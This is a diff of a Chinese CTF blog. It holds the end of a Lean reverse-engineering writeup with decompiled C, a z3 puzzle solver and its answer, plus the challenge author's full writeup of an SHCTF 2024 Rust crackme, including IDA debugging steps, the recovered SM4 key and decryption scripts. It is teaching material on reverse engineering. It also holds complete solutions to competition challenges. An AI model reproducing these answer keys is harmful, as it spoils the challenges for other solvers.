lean_nat_dec_eq(x_3, x_4); + if (x_5 == 0) + { + lean_object *x_6; + lean_object *x_7; + lean_object *x_8; + lean_object *x_9; + uint8_t x_10; + x_6 = lean_unsigned_to_nat(1u); + x_7 = lean_nat_sub(x_3, x_6); + lean_dec(x_3); + x_8 = lean_nat_add(x_7, x_6); + x_9 = lean_nat_sub(x_2, x_8); + lean_dec(x_8); + x_10 = LR____arg2_in_arg1____l_Array_contains___at_check___spec__1(x_1, x_9); + lean_dec(x_9); + if (x_10 == 0) + { + return 0; + } + else + { + x_3 = x_7; + goto _start; + } + } + else + { + return 1; + } +} +} +LEAN_EXPORT uint8_t l_Nat_allTR_loop___at_check___spec__9(lean_object *x_1, lean_object *x_2, lean_object *x_3) +{ +_start: +{ + if (x_3 == 0) + return 1; + lean_object *x_6; + lean_object *x_7; + lean_object *x_8; + lean_object *x_9; + size_t x_11; + lean_object *x_12; + lean_object *x_13; + lean_object *x_14; + uint8_t x_15; + x_9 = x_2 - x_3; + x_11 = l_Nat_allTR_loop___at_check___spec__9___closed__3; + x_12 = l_Nat_allTR_loop___at_check___spec__9___closed__1; + x_13 = l_Array_mapMUnsafe_map___at_check___spec__7(x_1, x_9, x_11, 0, x_12); + x_14 = lean_array_get_size(x_13); + x_15 = l_Nat_allTR_loop___at_check___spec__8(x_13, x_14, x_14); + if (x_15 == 0) + { + return 0; + } + else + { + x_3--; + goto _start; + } +} +} +LEAN_EXPORT uint8_t l_Array_anyMUnsafe_any___at_check___spec__10(lean_object *x_1, size_t x_2, size_t x_3) +{ +_start: +{ + uint8_t x_4; + x_4 = lean_usize_dec_eq(x_2, x_3); + if (x_4 == 0) + { + lean_object *x_5; + lean_object *x_6; + x_5 = lean_array_uget(x_1, x_2); + x_6 = lean_ctor_get(x_5, 1); + lean_inc(x_6); + if (lean_obj_tag(x_6) == 0) + { + size_t x_7; + size_t x_8; + lean_dec(x_5); + x_7 = 1; + x_8 = lean_usize_add(x_2, x_7); + x_2 = x_8; + goto _start; + } + else + { + lean_object *x_10; + lean_object *x_11; + uint8_t x_12; + x_10 = lean_ctor_get(x_5, 0); + lean_inc(x_10); + lean_dec(x_5); + x_11 = lean_ctor_get(x_6, 0); + lean_inc(x_11); + lean_dec(x_6); + x_12 = lean_nat_dec_eq(x_10, x_11); + lean_dec(x_11); + lean_dec(x_10); + if (x_12 == 0) + { + return 1; + } + else + { + x_2++; + goto _start; + } + } + } + else + { + return 0; + } +} +} +LEAN_EXPORT uint8_t l_Array_anyMUnsafe_any___at_check___spec__11(lean_object *x_1, size_t x_2, size_t x_3) +{ +_start: +{ + uint8_t x_4; + x_4 = lean_usize_dec_eq(x_2, x_3); + if (x_4 == 0) + { + lean_object *x_5; + lean_object *x_6; + lean_object *x_7; + lean_object *x_8; + lean_object *x_9; + lean_object *x_10; + uint8_t x_11; + x_5 = lean_array_uget(x_1, x_2); + x_6 = lean_ctor_get(x_5, 0); + lean_inc(x_6); + x_7 = lean_ctor_get(x_5, 1); + lean_inc(x_7); + lean_dec(x_5); + x_8 = l_Array_zip___rarg(x_6, x_7); + lean_dec(x_7); + lean_dec(x_6); + x_9 = lean_array_get_size(x_8); + x_10 = lean_unsigned_to_nat(0u); + x_11 = lean_nat_dec_lt(x_10, x_9); + if (x_11 == 0) + { + size_t x_12; + size_t x_13; + lean_dec(x_9); + lean_dec(x_8); + x_12 = 1; + x_13 = lean_usize_add(x_2, x_12); + x_2 = x_13; + goto _start; + } + else + { + size_t x_15; + size_t x_16; + uint8_t x_17; + x_15 = 0; + x_16 = lean_usize_of_nat(x_9); + lean_dec(x_9); + x_17 = l_Array_anyMUnsafe_any___at_check___spec__10(x_8, x_15, x_16); + lean_dec(x_8); + if (x_17 == 0) + { + x_2++; + goto _start; + } + else + { + return 1; + } + } + } + else + { + return 0; + } +} +} +LEAN_EXPORT uint8_t LR____not_that_all_0_to_len_i_in_a_for_a_in_x_1____l_Array_anyMUnsafe_any___at_check___spec__12(lean_object *x_1, size_t x_2, size_t x_3) +{ +_start: +{ + if (x_2 == x_3) + return 0; + lean_object *x_5; + lean_object *x_6; + uint8_t x_7; + x_5 = &x_1[x_2]; + x_6 = len(x_5); + x_7 = LR____all_0_to_x_3_in_x_1____l_Nat_allTR_loop___at_check___spec__3(x_5, x_6, x_6); + if (x_7 == 0) + { + return 1; + } + else + { + x_2++; + goto _start; + } +} +} +LEAN_EXPORT uint8_t l_check(lean_object *x_1) +{ +_start: +{ + lean_object *x_2; + lean_object *x_3; + uint8_t x_4; + uint8_t x_5; + lean_object *x_6; + uint8_t x_7; + lean_object *x_8; + lean_object *x_9; + lean_object *x_10; + uint8_t x_11; + uint8_t x_12; + uint8_t x_16; + x_2 = lean_array_get_size(x_1); // 9 + x_3 = lean_unsigned_to_nat(0u); // 0 + x_4 = lean_nat_dec_lt(x_3, x_2); // true + x_5 = LR____horizontal_all_0_to_len_i_in_a_for_a_in_x_1____l_Nat_allTR_loop___at_check___spec__6(x_1, x_2, x_2, x_2); // sat requires x_5==true + x_6 = l_size; + x_7 = l_Nat_allTR_loop___at_check___spec__9(x_1, x_6, x_6); // sat requires x_7==true + x_8 = l_target; + x_9 = l_Array_zip___rarg(x_1, x_8); + x_10 = lean_array_get_size(x_9); + x_11 = lean_nat_dec_lt(x_3, x_10); // true + if (x_4 == 0) // should never + { + // if (x_11 == 0) + // { + // x_12 = 1; + // goto block_15_must_return_here; + // } + // else + // { + // x_16 = 1; + // goto block_34; + // } + } + else + { + size_t x_38; + uint8_t x_39; + x_38 = lean_usize_of_nat(x_2); + x_39 = LR____not_that_all_0_to_len_i_in_a_for_a_in_x_1____l_Array_anyMUnsafe_any___at_check___spec__12(x_1, 0, x_38); + if (x_39 == 0) // should always + { + if (x_11 == 0) // should never + { + // x_12 = 1; + // goto block_15_must_return_here; + } + else + { + x_16 = 1; + goto block_34; + } + } + else + { + // if (x_11 == 0) + // { + // return 0; + // } + // else + // { + // x_16 = 0; + // goto block_34; + // } + } + } +block_15_must_return_here: + { + if (x_5 == 0) + { + return 0; + } + else + { + if (x_7 == 0) + { + return 0; + } + else + { + return x_12; + } + } + } +block_34: + { + uint8_t x_17; + x_17 = lean_nat_dec_le(x_10, x_10); // true + if (x_17 == 0) + { + // if (x_11 == 0) + // { + // if (x_16 == 0) + // { + // return 0; + // } + // else + // { + // x_12 = 1; + // goto block_15_must_return_here; + // } + // } + // else + // { + // size_t x_21; + // uint8_t x_22; + // x_21 = lean_usize_of_nat(x_10); + // x_22 = l_Array_anyMUnsafe_any___at_check___spec__11(x_9, 0, x_21); + // if (x_22 == 0) + // { + // if (x_16 == 0) + // { + // return 0; + // } + // else + // { + // x_12 = 1; + // goto block_15_must_return_here; + // } + // } + // else + // { + // return 0; + // // if (x_16 == 0) + // // { + // // return 0; + // // } + // // else + // // { + // // x_12 = 0; + // // goto block_15_must_return_here; + // // } + // } + // } + } + else // should always + { + size_t x_28; + uint8_t x_29; + x_28 = lean_usize_of_nat(x_10); + x_29 = l_Array_anyMUnsafe_any___at_check___spec__11(x_9, 0, x_28); // sat requires x_29==false + if (x_29 == 0) + { + if (x_16 == 0) // should never + { + // return 0; + } + else + { + x_12 = 1; + goto block_15_must_return_here; + } + } + else + { + return 0; + // if (x_16 == 0) + // { + // return 0; + // } + // else + // { + // x_12 = 0; + // goto block_15_must_return_here; + // } + } + } + } +} +} +LEAN_EXPORT lean_object *l_List_mapTR_loop___at_fromString___spec__1(lean_object *x_1, lean_object *x_2) +{ +_start: +{ + if (lean_obj_tag(x_1) == 0) + { + lean_object *x_3; + x_3 = l_List_reverse___rarg(x_2); + return x_3; + } + else + { + uint8_t x_4; + x_4 = !lean_is_exclusive(x_1); + if (x_4 == 0) + { + lean_object *x_5; + lean_object *x_6; + uint32_t x_7; + lean_object *x_8; + lean_object *x_9; + lean_object *x_10; + x_5 = lean_ctor_get(x_1, 0); + x_6 = lean_ctor_get(x_1, 1); + x_7 = lean_unbox_uint32(x_5); + lean_dec(x_5); + x_8 = lean_uint32_to_nat(x_7); + x_9 = lean_unsigned_to_nat(48u); + x_10 = lean_nat_sub(x_8, x_9); + lean_dec(x_8); + lean_ctor_set(x_1, 1, x_2); + lean_ctor_set(x_1, 0, x_10); + { + lean_object *_tmp_0 = x_6; + lean_object *_tmp_1 = x_1; + x_1 = _tmp_0; + x_2 = _tmp_1; + } + goto _start; + } + else + { + lean_object *x_12; + lean_object *x_13; + uint32_t x_14; + lean_object *x_15; + lean_object *x_16; + lean_object *x_17; + lean_object *x_18; + x_12 = lean_ctor_get(x_1, 0); + x_13 = lean_ctor_get(x_1, 1); + lean_inc(x_13); + lean_inc(x_12); + lean_dec(x_1); + x_14 = lean_unbox_uint32(x_12); + lean_dec(x_12); + x_15 = lean_uint32_to_nat(x_14); + x_16 = lean_unsigned_to_nat(48u); + x_17 = lean_nat_sub(x_15, x_16); + lean_dec(x_15); + x_18 = lean_alloc_ctor(1, 2, 0); + lean_ctor_set(x_18, 0, x_17); + lean_ctor_set(x_18, 1, x_2); + x_1 = x_13; + x_2 = x_18; + goto _start; + } + } +} +} +LEAN_EXPORT lean_object *l_Array_mapMUnsafe_map___at_fromString___spec__2(lean_object *x_1, size_t x_2, size_t x_3, lean_object *x_4) +{ +_start: +{ + uint8_t x_5; + x_5 = lean_usize_dec_lt(x_3, x_2); + if (x_5 == 0) + { + return x_4; + } + else + { + lean_object *x_6; + lean_object *x_7; + lean_object *x_8; + lean_object *x_9; + lean_object *x_10; + lean_object *x_11; + lean_object *x_12; + size_t x_13; + size_t x_14; + lean_object *x_15; + x_6 = lean_array_uget(x_4, x_3); + x_7 = lean_unsigned_to_nat(0u); + x_8 = lean_array_uset(x_4, x_3, x_7); + x_9 = l_size; + x_10 = lean_nat_mul(x_6, x_9); + lean_dec(x_6); + x_11 = lean_nat_add(x_10, x_9); + x_12 = l_Array_extract___rarg(x_1, x_10, x_11); + lean_dec(x_11); + x_13 = 1; + x_14 = lean_usize_add(x_3, x_13); + x_15 = lean_array_uset(x_8, x_3, x_12); + x_3 = x_14; + x_4 = x_15; + goto _start; + } +} +} +LEAN_EXPORT uint8_t l_Array_anyMUnsafe_any___at_fromString___spec__3(lean_object *x_1, size_t x_2, size_t x_3) +{ +_start: +{ + uint8_t x_4; + x_4 = lean_usize_dec_eq(x_2, x_3); + if (x_4 == 0) + { + lean_object *x_5; + lean_object *x_6; + uint8_t x_7; + x_5 = lean_array_uget(x_1, x_2); + x_6 = l_size; + x_7 = lean_nat_dec_lt(x_5, x_6); + lean_dec(x_5); + if (x_7 == 0) + { + return 1; + } + else + { + x_2 ++; + goto _start; + } + } + else + { + return 0; + } +} +} +LEAN_EXPORT lean_object *l_fromString___lambda__1(lean_object *x_1, lean_object *x_2) +{ +_start: +{ + size_t x_4; + lean_object *x_5; + lean_object *x_6; + lean_object *x_7; + x_4 = l_Nat_allTR_loop___at_check___spec__9___closed__3; + x_5 = l_Nat_allTR_loop___at_check___spec__9___closed__1; + x_6 = l_Array_mapMUnsafe_map___at_fromString___spec__2(x_1, x_4, 0, x_5); + x_7 = lean_alloc_ctor(1, 1, 0); + lean_ctor_set(x_7, 0, x_6); + return x_7; +} +} +LEAN_EXPORT lean_object *l_fromString___lambda__2(lean_object *x_1, lean_object *x_2) +{ +_start: +{ + lean_object *x_3; + lean_object *x_4; + uint8_t x_5; + lean_dec(x_2); + x_3 = lean_array_get_size(x_1); + x_4 = l_fromString___lambda__2___closed__1; + x_5 = lean_nat_dec_eq(x_3, x_4); + lean_dec(x_3); + if (x_5 == 0) + { + lean_object *x_6; + x_6 = lean_box(0); + return x_6; + } + else + { + lean_object *x_7; + lean_object *x_8; + x_7 = lean_box(0); + x_8 = l_fromString___lambda__1(x_1, x_7); + return x_8; + } +} +} +LEAN_EXPORT lean_object *l_fromString(lean_object *x_1) +{ +_start: +{ + lean_object *x_2; + lean_object *x_3; + lean_object *x_4; + lean_object *x_5; + lean_object *x_6; + lean_object *x_7; + lean_object *x_8; + lean_object *x_9; + uint8_t x_10; + x_2 = lean_string_data(x_1); + x_3 = lean_box(0); + x_4 = l_List_mapTR_loop___at_fromString___spec__1(x_2, x_3); + x_5 = l_List_redLength___rarg(x_4); + x_6 = lean_mk_empty_array_with_capacity(x_5); + lean_dec(x_5); + x_7 = l_List_toArrayAux___rarg(x_4, x_6); + x_8 = lean_array_get_size(x_7); + x_9 = lean_unsigned_to_nat(0u); + x_10 = lean_nat_dec_lt(x_9, x_8); + if (x_10 == 0) + { + lean_object *x_11; + lean_object *x_12; + lean_dec(x_8); + x_11 = lean_box(0); + x_12 = l_fromString___lambda__2(x_7, x_11); + lean_dec(x_7); + return x_12; + } + else + { + size_t x_13; + size_t x_14; + uint8_t x_15; + x_13 = 0; + x_14 = lean_usize_of_nat(x_8); + lean_dec(x_8); + x_15 = l_Array_anyMUnsafe_any___at_fromString___spec__3(x_7, x_13, x_14); + if (x_15 == 0) + { + lean_object *x_16; + lean_object *x_17; + x_16 = lean_box(0); + x_17 = l_fromString___lambda__2(x_7, x_16); + lean_dec(x_7); + return x_17; + } + else + { + lean_object *x_18; + lean_dec(x_7); + x_18 = lean_box(0); + return x_18; + } + } +} +} +LEAN_EXPORT lean_object *_lean_main(lean_object *x_1) +{ +_start: +{ + println("Input: "); + lean_object *x_4; + lean_object *x_5; + lean_object *x_6; + lean_object *x_7; + lean_object *x_8; + lean_object *x_9; + x_4 = lean_ctor_get(x_3, 1); + lean_inc(x_4); + lean_dec(x_3); + x_5 = lean_get_stdin(x_4); + x_6 = lean_ctor_get(x_5, 0); + lean_inc(x_6); + x_7 = lean_ctor_get(x_5, 1); + lean_inc(x_7); + lean_dec(x_5); + x_8 = lean_ctor_get(x_6, 3); + lean_inc(x_8); + lean_dec(x_6); + x_9 = lean_apply_1(x_8, x_7); + if (lean_obj_tag(x_9) == 0) + { + lean_object *x_10; + lean_object *x_11; + lean_object *x_12; + lean_object *x_13; + x_10 = lean_ctor_get(x_9, 0); + lean_inc(x_10); + x_11 = lean_ctor_get(x_9, 1); + lean_inc(x_11); + lean_dec(x_9); + x_12 = l_String_trimRight(x_10); + lean_dec(x_10); + x_13 = l_fromString(x_12); + if (lean_obj_tag(x_13) == 0) + { + return println("No"); + } + else + { + lean_object *x_16; + uint8_t x_17; + x_16 = lean_ctor_get(x_13, 0); + lean_inc(x_16); + lean_dec(x_13); + x_17 = l_check(x_16); + if (x_17 == 0) + { + return println("No"); + } + else + { + return println("Yes"); + } + } + } + else + { + uint8_t x_22; + x_22 = !lean_is_exclusive(x_9); + if (x_22 == 0) + { + return x_9; + } + else + { + lean_object *x_23; + lean_object *x_24; + lean_object *x_25; + x_23 = lean_ctor_get(x_9, 0); + x_24 = lean_ctor_get(x_9, 1); + lean_inc(x_24); + lean_inc(x_23); + lean_dec(x_9); + x_25 = lean_alloc_ctor(1, 2, 0); + lean_ctor_set(x_25, 0, x_23); + lean_ctor_set(x_25, 1, x_24); + return x_25; + } + } +} +} +lean_object *initialize_Init(uint8_t builtin, lean_object *); +lean_object *initialize_Init_Data_List(uint8_t builtin, lean_object *); +static bool _G_initialized = false; +LEAN_EXPORT lean_object *initialize_Main(uint8_t builtin, lean_object *w) +{ + lean_object *res; + if (_G_initialized) + return lean_io_result_mk_ok(lean_box(0)); + _G_initialized = true; + res = initialize_Init(builtin, lean_io_mk_world()); + if (lean_io_result_is_error(res)) + return res; + lean_dec_ref(res); + res = initialize_Init_Data_List(builtin, lean_io_mk_world()); + if (lean_io_result_is_error(res)) + return res; + lean_dec_ref(res); + l_boxSize = lean_object(3); + l_size = lean_object(9); + l_target___closed__1 = _init_l_target___closed__1(); + lean_mark_persistent(l_target___closed__1); + l_target___closed__2 = _init_l_target___closed__2(); + lean_mark_persistent(l_target___closed__2); + l_target___closed__3 = _init_l_target___closed__3(); + lean_mark_persistent(l_target___closed__3); + + // ... + // the way to init l_target, a 9*9 matrix + + l_target___closed__78 = _init_l_target___closed__78(); + lean_mark_persistent(l_target___closed__78); + l_target___closed__79 = _init_l_target___closed__79(); + lean_mark_persistent(l_target___closed__79); + l_target = l_target___closed__79; + l_Array_mapMUnsafe_map___at_check___spec__7___closed__1 = lean_mk_empty_array_with_capacity(0); + l_Nat_allTR_loop___at_check___spec__9___closed__1 = l_Array_range(l_size); + l_Nat_allTR_loop___at_check___spec__9___closed__3 = lean_usize_of_nat(lean_array_get_size(l_Nat_allTR_loop___at_check___spec__9___closed__1)); + l_fromString___lambda__2___closed__1 = lean_nat_mul(l_size, l_size); + ; + return lean_io_result_mk_ok(lean_box(0)); +} +``` + +## 约束求解 + +```python +import z3 + +s = z3.Solver() +mat = [[z3.Int("x_%d_%d" % (i, j)) for j in range(9)] for i in range(9)] +for i in range(9): + for j in range(9): + s.add(0 <= mat[i][j], mat[i][j] <= 8) + s.add(z3.Distinct(mat[i])) + s.add(z3.Distinct([mat[j][i] for j in range(9)])) + s.add(z3.Distinct([mat[(i+j)%9][j] for j in range(9)])) + +target = [ + [ 6, -1, 1, -1, -1, -1, -1, -1, -1], + [-1, -1, -1, -1, -1, -1, -1, -1, -1], + [-1, -1, -1, -1, 5, -1, -1, -1, -1], + [ 4, -1, 5, -1, 2, -1, -1, -1, -1], + [-1, -1, -1, -1, -1, -1, 0, 2, -1], + [-1, -1, -1, -1, -1, -1, 7, -1, 5], + [-1, 3, -1, -1, -1, -1, 4, -1, -1], + [-1, -1, 7, 4, -1, 1, -1, -1, -1], + [-1, 4, -1, -1, -1, -1, -1, -1, -1], +] + +for i in range(9): + for j in range(9): + if target[i][j] != -1: + s.add(mat[i][j] == target[i][j]) + +if s.check() == z3.sat: + m = s.model() + for i in range(9): + for j in range(9): + print(m[mat[i][j]], end='') + +# 651708243714865302320654871485327160576183024168042735832570416207431658043216587 +``` + +# 关于组这个队的碎碎念 + +队内参与人数是25左右,比预期略少;第11名,符合预期。队内共解出11题(含签到),其中个位数解的有墨水✌和我各1题re。 + +当时决定组这个队,绝对不是退役前想瞎搅一下(划掉)。之前有想过建长期联队,但是有明确的原因让我抛弃了那个想法,现在建一次性队也算是达成了心愿。 + +虽然起初不是我发起的,但是实际建队当天(5月7日)我在XYCTF群发了想组大队的想法,大部分队员是我私聊邀请的,后来还“谋权篡位”成了队长(误)。 + +如果只是把CTF看作竞技比赛,那么联合战队可以算是最好的解决方案。我是希望趁着R3CTF这种质量应该会好、人数不限的大比赛(知名战队的比赛通常好于官方的比赛),让还没有加入联队的、能力得到我认可的师傅们(收到我私聊邀请的师傅都是我认可的),特别是所在学校的“独狼”,有机会体验联合作战,使用Notion之类的协作工具,在比赛过程中与能力相当的师傅交流共同解题(只要在同一个队里,就可以随便交流,不用偷偷py)。过程是主要的,结果是次要的。 + +邀请五湖四海的CTFer来组一次性队是一次实验性的尝试。实话说,拉人的时候我心里没底,不知道会是什么结果。特别是一半以上的师傅不能来(出题的,准备期末的,打CISCN的,在其他联队的),我差点以为这个队组不起来了。我是有点怕如果这么多人的队都排名不前,会打击队员的自信心。还好,结果还行。 + +我拉人的时候想的是,最好让每个人都能有参与感,不要有“能带飞的人”和“被带飞的人”。所以我拉人的策略是:不够强的不要(别把新人劝退了),过于强的不要(我的目的不是结果,把flag交到合适的队),乐子人不要,已有队伍的不要(虽然刚开始没想到这一点)。但是拉一群华南小师傅进来是个例外,在我知道他们要组队之后,与其让他们自己组队坐大牢,不如合到一起没那么坐牢。 + +不知不觉写了这么长🤔,和师傅们合作挺愉快的,师傅们太强了🤗 + +![](../../wp/r3ctf-2024-leannum/r3detail.png) + +![](../../wp/r3ctf-2024-leannum/r3chall.png) + +![](../../wp/r3ctf-2024-leannum/r3board.png) diff --git a/source/_posts/wp/shctf-2024-rust.md b/source/_posts/wp/shctf-2024-rust.md new file mode 100644 index 0000000..9c6bde2 --- /dev/null +++ b/source/_posts/wp/shctf-2024-rust.md @@ -0,0 +1,415 @@ +--- +title: 「锦锈山河」SHCTF 2024 Rust 逆向出题 Writeup +date: 2024/11/01 18:30:00 +updated: 2024/11/05 16:30:00 +categories: +- CTF-Writeup +cover: ../../wp/shctf-2024-rust/image27.webp +--- + +> [附件(右键另存为)](https://blog.xinshi.fun/wp/shctf-2024-rust/jin-xiu-shan-he.zip) +> +> 难度: 中等 +> 听我说🦀🦀你,因为有你,山河更美丽 +> +> 3 次解出,455 pts +> 一血:l4n 二血:cfbb 三血:BKBQWQ + +出题人认为 CTF 中的逆向从来不应该是为了折磨选手,而是让选手了解到某种程序实现的底层原理,在反复考虑难度后决定给出含完整函数名的 PDB 调试信息(**WP 后面附有源码**,可供对比观察)。 + +直接运行并观察输出,可猜测把输入的 flag 转换成了 emoji 字符串。往逆向里塞 emoji 是因为 Rust 有保证 Unicode 字符正确转换的语言特性,这部分没有任何 Misc 知识点,可以把这种字符串完全当作抽象的“结构化数据流”,转换过程只是简单的四则运算和位运算。(WP 后附有用到的 Unicode 转换细节,供感兴趣的读者查阅。) + +> 方便起见,下文 `i32` 表示 32 位有符号整数,`u8` 表示 8 位无符号整数,以此类推。 + +# 完整分析过程 + +先运行一下,发现必须要输入至少48字符才会得到结果,会输出88个emoji; + +输入相同时输出也相同; + +尝试改变输入,如果改变最后一个字符会使后面大约一半的emoji发生变化;如果改变第一个字符会使全部emoji发生变化 + +![](../../wp/shctf-2024-rust/image27.webp) + +> ~~*附件确实给了 pdb,记得按 Yes*~~ +> +> ![](../../wp/shctf-2024-rust/image28.webp) + +![](../../wp/shctf-2024-rust/image29.webp) + +先看 main: + +![](../../wp/shctf-2024-rust/image30.webp) + +![](../../wp/shctf-2024-rust/image31.webp) + +在 IDA 中显示正确的字符编码: + +![](../../wp/shctf-2024-rust/image32.webp) + +调试获取 key: + +> 启动调试时弹出计算器文件内容,是因为出题人把 pdb 里源文件路径改成了 `C:\Windows\System32\.\.\.\.\.\.\.\.\.\.\calc.exe` + +![](../../wp/shctf-2024-rust/image33.webp) + +Rust 编译产物中经常出现这种情况:如果返回类型的大小大于usize,第一个参数(v15)是“调用方”(main)的栈上地址,“被调用方”(generate_key)往这个地址写返回类型的结构体。也就是说,v15 是作为返回值用的。 + +第 57 行的函数名能看出返回类型:`Result, openssl::error::ErrorStack>` + +这是 Rust 中的 Result 枚举,它有两种枚举成员 Ok 或 Err。`Ok` 成员表示操作成功,内部包含成功时产生的值。`Err` 成员则意味着操作失败,并且 `Err` 中包含有关操作失败的原因或方式的信息。 + +第 58 行检查枚举值,如果不为 Ok,则提前结束 main,传播错误给 main 的调用方。 + +双击 v15 查看数据(原本看到的是字节,已按 R 键设为 64 位整数): + +![](../../wp/shctf-2024-rust/image34.webp) + +本次调试中 24D40BE31A0 处的 16 字节就是 key: + +![](../../wp/shctf-2024-rust/image35.webp) + +同理这是 main 第 86 行分配给输入的 Vec: + +*(写WP过程中有多次重新开始调试,部分地址可能前后不一致,敬请谅解)* + +![](../../wp/shctf-2024-rust/image36.webp) + +**控制流**不好跟踪的话,可以尝试跟踪**数据流**。在输入后,对这段内存打上读写断点: + +![](../../wp/shctf-2024-rust/image37.webp) + +调试发现 encrypt_flag 的参数分别为: + +![](../../wp/shctf-2024-rust/image38.webp) + +![](../../wp/shctf-2024-rust/image39.webp) + +Rust 的标准库和第三方库(crate)基本都是源码分发的,也可以查到文档: + +https://docs.rs/openssl/0.10.68/openssl/symm/fn.encrypt.html + +![](../../wp/shctf-2024-rust/image40.webp) + +返回的同样也是一个 Result 枚举,同样打上内存断点(就不截图了): + +![](../../wp/shctf-2024-rust/image41.webp) + +分组密码长度扩展时确实会补 1~16 个字节并达到 16 的倍数,所以明文的 48 字节变成了 64 字节。 + +值得一提的是,encrypt_flag 取得了原本输入的 Vec 的所有权,并最后 drop 了它。 + +回到 main。接下来是 make_emoji_string: + +![](../../wp/shctf-2024-rust/image42.webp) + +第 75 行点进去 10 层函数调用 *(不是出题人故意的,它编译后就长这样)*,可以看到 `jin_xiu_shan_he::util::make_emoji_string::closure$0` 函数把前面 Base64 得到的 0~63 按位或了 0x1F600,于是映射到了这个范围: + +![](../../wp/shctf-2024-rust/image43.webp) + +![](../../wp/shctf-2024-rust/image44.webp) + +第 18 行的 String::push 把这个 char 转成 UTF-8 放到可变字符串里。 + +回到 main。最后是 check_flag: + +![](../../wp/shctf-2024-rust/image45.webp) + +![](../../wp/shctf-2024-rust/image46.webp) + +![](../../wp/shctf-2024-rust/image47.webp) + +![](../../wp/shctf-2024-rust/image48.webp) + +如果在这时尝试提取密文数据解密,会无法解码 SM4 或得到乱码。这是因为每迭代一次,在 `jin_xiu_shan_he::util::impl$0::next` 中会把整段密文修改一次。在做题时可能不容易发现这一点,但是如果对密文数据打了内存断点,会发现在 next 中它已被析构回收。 + +这时有两种做法,可以分析 next 函数的实现: + +![](../../wp/shctf-2024-rust/image49.webp) + +也可以不考虑对密文的具体处理 *(前提是其与输入无关,可通过内存断点验证)*,只在每次比对时,记录下处理后的密文: + +![](../../wp/shctf-2024-rust/image50.webp) + +![](../../wp/shctf-2024-rust/image51.webp) + +每点一下运行,就会停在这里一次,可以手动记录下**一个**正确的密文。(我的附件第一次是 0x1F610) + +也可用 IDAPython 将其输出: + +```python +import ida_dbg +print(hex(ida_dbg.get_reg_val("eax")), end=', ') +``` + +也可尝试精心 patch,使得正确的密文被按序写入内存,然后一次性提取。 + +# 解密脚本 + +如果是「记录处理后的密文」做法: + +``` python +from gmssl import sm4 + +KEY = bytes([93, 129, 173, 248, 234, 102, 108, 239, 45, 66, 196, 204, 221, 97, 143, 181]) +enc = [ + 0x1F610, 0x1F603, 0x1F627, 0x1F617, 0x1F612, 0x1F605, 0x1F63E, 0x1F617, + 0x1F630, 0x1F606, 0x1F625, 0x1F600, 0x1F60F, 0x1F62B, 0x1F61A, 0x1F60E, + 0x1F616, 0x1F61C, 0x1F613, 0x1F63A, 0x1F60E, 0x1F626, 0x1F631, 0x1F632, + 0x1F634, 0x1F61B, 0x1F606, 0x1F623, 0x1F604, 0x1F60F, 0x1F62E, 0x1F604, + 0x1F63C, 0x1F619, 0x1F607, 0x1F629, 0x1F601, 0x1F607, 0x1F609, 0x1F637, + 0x1F602, 0x1F632, 0x1F634, 0x1F635, 0x1F61C, 0x1F62D, 0x1F612, 0x1F617, + 0x1F61A, 0x1F62B, 0x1F62F, 0x1F610, 0x1F619, 0x1F62A, 0x1F63C, 0x1F616, + 0x1F609, 0x1F634, 0x1F62E, 0x1F639, 0x1F611, 0x1F62E, 0x1F630, 0x1F623, + 0x1F608, 0x1F616, 0x1F608, 0x1F63C, 0x1F604, 0x1F61D, 0x1F618, 0x1F619, + 0x1F635, 0x1F63C, 0x1F632, 0x1F63D, 0x1F605, 0x1F635, 0x1F61B, 0x1F603, + 0x1F60A, 0x1F60B, 0x1F636, 0x1F603, 0x1F63F, 0x1F600, 0x1F600, 0x1F600, +] + +enc_target = [c & 0x3F for c in enc] # 高位不影响解密,只取低 6 位 + +sm4_enc = [] +for i in range(0, len(enc_target), 4): # Base64 解码 + d = enc_target[i:i + 4] + sm4_enc.extend([ + (d[0] << 2 | d[1] >> 4) & 0xFF, + (d[1] << 4 | d[2] >> 2) & 0xFF, + (d[2] << 6 | d[3]) & 0xFF, + ]) + +sm4_enc = sm4_enc[:64] # 去掉末尾的两个 0 + +sm4_instance = sm4.CryptSM4(mode=sm4.SM4_DECRYPT) +sm4_instance.set_key(KEY, sm4.SM4_DECRYPT) +flag = sm4_instance.crypt_cbc(reversed(KEY), bytes(sm4_enc)).decode() + +print(flag) + +``` + +如果是「分析对密文的处理」做法: + +``` python +from gmssl import sm4 + +KEY = bytes([93, 129, 173, 248, 234, 102, 108, 239, 45, 66, 196, 204, 221, 97, 143, 181]) +BOX = [ + 18, 15, 40, 10, 41, 36, 62, 23, 34, 12, 58, 57, 39, 46, 17, 7, + 47, 44, 30, 26, 31, 14, 4, 19, 21, 61, 11, 3, 5, 55, 37, 28, + 53, 27, 13, 9, 49, 25, 54, 33, 42, 16, 24, 0, 1, 43, 32, 6, + 50, 63, 52, 48, 22, 45, 51, 2, 20, 59, 60, 29, 8, 35, 56, 38 +] + +emojis = '😩😝😹😒😟😱😘😌😎😟😭😼😑😯😀😍😨😖😍😮😗😗😘😽😠😻😱😗😉😏😈😀😿😷😗😴😠😧😻😹😚😯😤😥😪😅😩😬😼😰😁😝😐😧😵😍😅😪😝😼😃😂😾😕😷😛😎😷😊😙😠😁😸😕😪😬😓😹😾😝😇😇😭😎😩😳😟😷' + +emojis = [ord(c) & 0x3F for c in emojis] # 高位字节不影响解密,只取低 6 位 +enc_target = [] +for i in range(88): + cur = emojis[i] & 0x3F + for j in range(i + 1): # 第 i 个 emoji 在被返回前,修改了 i+1 次 + cur = BOX[cur] + cur = (cur + j) & 0x3F + enc_target.append(cur) + +sm4_enc = [] +for i in range(0, len(enc_target), 4): # Base64 解码 + d = enc_target[i:i + 4] + sm4_enc.extend([ + (d[0] << 2 | d[1] >> 4) & 0xFF, + (d[1] << 4 | d[2] >> 2) & 0xFF, + (d[2] << 6 | d[3]) & 0xFF, + ]) + +sm4_enc = sm4_enc[:64] # 去掉末尾的两个 0 + +sm4_instance = sm4.CryptSM4(mode=sm4.SM4_DECRYPT) +sm4_instance.set_key(KEY, sm4.SM4_DECRYPT) +flag = sm4_instance.crypt_cbc(reversed(KEY), bytes(sm4_enc)).decode() + +print(flag) + +``` + +# 附源码 + +`cargo.toml` + +``` toml +[package] +name = "jin-xiu-shan-he" +version = "0.1.0" +edition = "2021" + +[dependencies] +openssl = "0.10.68" + +[profile.release] +opt-level = 0 +debug = "limited" + +``` + +采用 release 配置文件,`opt-level = 0` 是反复考虑难度后决定不让标准库函数(例如 UTF-8 转 char)内联影响分析,`debug = "limited"` 是为了保留用户代码的函数名,但不保留变量类型。 + 